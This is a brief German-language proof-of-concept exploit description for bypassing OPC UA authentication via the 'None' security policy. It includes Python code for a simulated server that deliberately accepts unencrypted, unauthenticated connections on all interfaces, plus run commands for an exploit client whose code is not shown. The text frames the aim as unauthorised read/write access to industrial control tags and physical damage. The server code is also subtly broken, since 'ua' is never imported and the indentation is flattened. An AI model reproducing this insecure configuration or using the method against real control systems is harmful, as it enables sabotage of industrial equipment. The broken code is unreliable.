
Proof-of-Concept-Exploit zur Umgehung der OPC-UA-Authentifizierung mithilfe der Sicherheitsrichtlinie „None“, einschließlich eines simulierten Servers, um unbefugten Lese-/Schreibzugriff auf industrielle Steuerungsdaten zu demonstrieren.
# opcua_server_sim.py - OPC UA server accepting None security policy
from asyncua import Server
import asyncio
async def main():
server = Server()
await server.init()
server.set_endpoint('opc.tcp://0.0.0.0:4840/freeopcua/server/')
server.set_security_policy([ua.SecurityPolicyType.NoSecurity]) # Allows unencrypted, unauthenticated
async with server:
while True:
await asyncio.sleep(1)
asyncio.run(main())
Ein OPC-UA-Server ist mit der Sicherheitsrichtlinie None konfiguriert, die weder Verschlüsselung noch Authentifizierung bietet. Ein Angreifer im Netzwerk kann sich verbinden und mit Tags industrieller Steuerungssysteme interagieren, was physische Schäden verursacht.
pip install asyncua
python opcua_server_sim.py
python exploit_opcua_none.py
Der Client verbindet sich erfolgreich.